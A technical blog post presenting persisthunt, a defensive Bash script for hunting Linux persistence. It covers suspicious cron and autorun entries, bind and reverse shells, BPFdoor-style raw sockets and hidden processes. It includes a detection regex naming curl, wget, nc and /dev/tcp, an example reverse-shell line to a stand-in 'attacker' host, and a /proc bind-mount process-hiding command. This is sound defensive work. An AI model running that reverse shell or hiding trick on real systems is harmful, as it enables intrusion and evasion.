Hunting Linux Persistence Mechanisms with Bash
2026-05-20
Linux persistence hunting usually means running half a dozen different tools chkrootkit, rkhunter, a cron audit script, a manual ss review, maybe a rootkit-specific scanner and then mentally stitching the results together.
I built persisthunt that takes a different approach: it’s a single, dependency-free Bash script (365 lines) that walks through the most common Linux persistence and live-compromise techniques in one pass, and dumps everything into a flat, greppable text report.
The design is intentionally simple. There’s no config file, no external binary dependencies beyond what’s already on almost every Linux box (ss, ps, find, grep, awk, file), and no state to maintain between runs. It’s meant to be scp’d onto a box, executed, and read or, as we’ll get to at the end, fed straight into an LLM for triage.
The script organizes every check under one of three confidence buckets, printed as a header before each section:
-
[HIGH]- the check itself is a strong indicator of compromise. Legitimate systems rarely trigger these, so a hit deserves immediate attention. -
[LOW]- the check surfaces something that could be persistence but has a much higher false-positive rate (e.g., any binary with Linux capabilities set, or any recently modified file in/bin). -
[INFORMATIONAL]- no judgment is made at all. These sections just dump raw system state (cron tables, shell profiles, mounts, running containers, installed packages) so a human or downstream analysis step has the full picture, not just what the heuristics flagged.
Autorun entries referencing a suspicious keyword
SUS_KEYWORDS_REGEX="curl |wget |nc -|ncat |socat |python([23]?) -c|perl -e|/tmp/|/var/tmp/|/dev/shm/|/dev/tcp/|/dev/udp/|/home/|.*/\..*"
# High-confidence: Cron entry referencing a suspicious keyword
print_header "[HIGH] Cron entry referencing a suspicious keyword"
for f in /etc/crontab /etc/cron.d/* /var/spool/cron/* /var/spool/cron/crontabs/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/*; do
if [[ -f "$f" ]]; then
grep -E "$SUS_KEYWORDS_REGEX" "$f" 2>/dev/null | while read -r line; do
[[ ! "$line" =~ ^# ]] && echo "$f: $line";
done
fi
done
The whole check hinges on a single global regex, SUS_KEYWORDS_REGEX, defined once at the top of the script and reused across many different checks. It’s worth reading closely because it encodes the script’s entire threat model for “config file points at something bad”:
-
curl |wget- outbound fetch of a second-stage payload -
nc -|ncat |socat- spinning up a shell or relay directly from a cron/init entry -
python([23]?) -c|perl -e- inline one-liner interpreters, the classic way to smuggle a reverse shell or downloader without dropping a script to disk -
/tmp/|/var/tmp/|/dev/shm/- execution paths in world-writable, non-persistent directories, which legitimate cron jobs almost never reference -
/dev/tcp/|/dev/udp/- Bash’s built-in/dev/tcppseudo-device, the mechanism behind the “fileless” Bash reverse shell (bash -i >& /dev/tcp/attacker/4444 0>&1) -
/home/- execution from a user’s home directory, unusual for system-level automation -
.*/\..*- a hidden file or directory anywhere in the path (any path segment starting with a dot)
For each candidate file, the loop systematically enumerates every standard cron location, searches for suspicious patterns using a shared regex, filters out commented lines to reduce noise, and reports each matching entry along with its source file for easy investigation.
This exact three-step shape, enumerate known autostart paths → grep with $SUS_KEYWORDS_REGEX → strip comments/label the source, is reused for every other config-based persistence vector in the script:
| Check | Locations enumerated |
|---|---|
| Systemd services/timers | /etc /lib /usr /run /home/*/.config, filtered to paths containing */systemd/* and named *.service/*.timer (covers both system units and per-user units under ~/.config/systemd/user/) |
| Init/rc.local scripts | /etc/init.d, /etc/rc0.d–/etc/rc6.d, /etc/rc.local |
| MOTD scripts | /etc/motd, /etc/update-motd.d/ |
| Shell profiles | /etc/profile, /etc/profile.d/*, and every user’s (and root’s) .bash_profile, .bashrc, .profile, .bash_login |
| D-Bus service files | any *.service file under a path containing dbus-1 |
| NetworkManager dispatcher scripts | any executable file under */NetworkManager/dispatcher.d/* |
Active Bind Shell
To detect bind shell, the script extracts the PID from each listening socket reported by ss, maps it to its executable via /proc, flags interpreter- or networking-tool-based listeners (bash, python, nc, socat, etc.) as potential bind shells, and prints both the socket details and full command line to provide the context needed to distinguish malicious backdoors from legitimate services.
# High-confidence: Active Bind Shell
# Look for interpreter processes (like bash/sh/python) listening on network socket
print_header "[HIGH] Active bind shell"
ss -lptnH 2>/dev/null | while read -r conn_line; do
conn=$(echo "$conn_line" | awk '{print $4" "$5" "$6}')
proc=$(echo "$conn" | awk '{print $3}');
if [[ -n "$proc" ]]; then
pid=$(echo "$proc" | awk -F 'pid=' '{print $2}' | awk -F ',' '{print $1}')
exe=$(cat /proc/$pid/comm 2>/dev/null)
case "$exe" in
bash|sh|zsh|dash|ksh|python*|perl|nc|ncat|socat)
[[ -n "$exe" ]] && echo "$conn_line"
[[ -n "$exe" ]] && echo "$(ps auxww | grep $pid | grep -v grep)"
;;
esac
fi
done
Active Reverse Shell
A reverse shell is detected by identifying interpreter or networking-tool processes whose standard input and output (fd/0 and fd/1) are both redirected to network sockets instead of a terminal, indicating that the shell’s interactive session is being tunneled over an outbound network connection
# High-confidence: Active Reverse Shell
# Look for processes that have stdin and stdout redirected to a socket
print_header "[HIGH] Active reverse shell"
ps aux 2>/dev/null | while read -r ps_line; do
pid=$(echo "$ps_line" | awk '{print $2}')
if [[ -n "$$pid" ]]; then
exe=$(cat /proc/$pid/comm 2>/dev/null)
case "$exe" in
bash|sh|zsh|dash|ksh|python*|perl|nc|ncat|socat)
stdin=$(ls -l /proc/$pid/fd/0 | grep socket)
stdout=$(ls -l /proc/$pid/fd/1 | grep socket)
if [[ -n "$stdin" && -n "$stdout" ]]; then
[[ -n "$exe" ]] && echo "$ps_line"
fi
;;
esac
fi
done
Persistence Using eBPF with Raw Network Sockets
BPFdoor-style backdoors open a raw AF_PACKET socket and attach a BPF (Berkeley Packet Filter) program to it so the kernel - not the process - does the work of inspecting every incoming packet on the wire for a “magic” trigger sequence, before the backdoor ever wakes up to handle it.
This check detects processes potentially implementing BPFdoor-style persistence by scanning kernel stack traces for packet_recvmsg, identifying executables blocked on raw AF_PACKET socket receives.
# High-confidence: Persistence using eBPF with raw network socket
# Rootkits such as BPFdoor use eBPF programs with raw network sockets for persistent backdoor
print_header "[HIGH] eBPF programs with raw network sockets (possible BPFdoor persistence)"
egrep packet_recvmsg /proc/*/stack 2>/dev/null | while read -r line; do
pid=$(echo "$line" | awk -F '/proc/' '{print $2}' | awk -F '/' '{print $1}')
exe=$(cat /proc/$pid/comm 2>/dev/null)
if [[ -n "$exe" ]]; then
echo "PID: $pid, Executable: $exe, Stack trace: $line"
fi
done
Hidden Processes (Possible Rootkit)
The script detects hidden processes by brute-forcing every possible PID up to pid_max and directly probing /proc/<pid>/status instead of relying on /proc directory enumeration, then comparing the result against ps output to identify processes concealed by rootkits that hook getdents64(), while collecting the executable path and command line to aid investigation, at the expense of an O(pid_max) scan.
print_header "[HIGH] Hidden process detected in /proc (possible rootkit)"
pid_max=$(cat /proc/sys/kernel/pid_max 2>/dev/null)
[[ -z "$pid_max" ]] && pid_max=4194304
for pid in $(seq 1 "$pid_max"); do
status_file="/proc/$pid/status"
if [[ -f "$status_file" ]]; then
tgid=$(awk '/^Tgid:/ {print $2}' "$status_file" 2>/dev/null)
# Only check main process, not threads
if [[ "$tgid" == "$pid" ]]; then
if ! ps --no-headers -p "$pid" > /dev/null 2>&1; then
exe=""
cmdline=""
[[ -e "/proc/$pid/exe" ]] && exe=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
[[ -e "/proc/$pid/cmdline" ]] && cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline" 2>/dev/null)
echo "PID $pid"
[[ -n "$exe" ]] && echo "Executable: $exe"
[[ -n "$cmdline" ]] && echo "Cmdline: $cmdline"
fi
fi
fi
done
Hidden Process (/proc Bind Mount Trick)
An attacker with sufficient privileges can run mount -o bind mydir /proc/1234 to make /proc/1234 dir invisible which completed hides PID 1234.
We can detect attempts to hide processes using a /proc bind mount by scanning the system’s mount table for mount points matching /proc/<PID>.
# High-confidence: Hidden Process (/proc bind mount trick)
# "mount -o bind mydir /proc/1234" essentially makes /proc/1234 dir invisible
# So PID 1234 will not show up in ps output but the process is still running
# Any mounts involving /proc are highly suspicious
print_header "[HIGH] Hidden process with bind mount trick"
mount -l | grep -E "/proc/[0-9]+" 2>/dev/null
The Informational Sections: Context, Not Verdicts
The second half of the script focuses on data collection rather than detection. Instead of applying heuristics, it captures the raw state of important persistence-related artifacts—including cron jobs, shell profiles, SSH keys, mounts, network connections, services, containers, installed packages, and kernel modules—for manual review. This ensures potentially malicious activity that doesn’t match predefined patterns is still preserved in a single report for analysis by a human analyst or an LLM.
Feeding This Into an LLM for Automated Triage
This script is also well suited for LLM-assisted triage. By collecting persistence artifacts into a structured report with clear confidence levels, it provides the model with both high-confidence detections and the surrounding system context needed for correlation. Rather than simply echoing suspicious lines, an LLM can prioritize likely compromises, explain the reasoning behind its conclusions, correlate findings across different sections of the report, and identify cases that warrant further human investigation.
The obvious next step from there, if you wanted to industrialize it, is running persisthunt.sh as a fleet-wide fact-gathering step (via SSH/Ansible/your config-management tool of choice), storing each host’s report, and batching them through an LLM prompt like the one above - turning a single-file Bash script into the collection layer for a lightweight, LLM-assisted threat-hunting pipeline.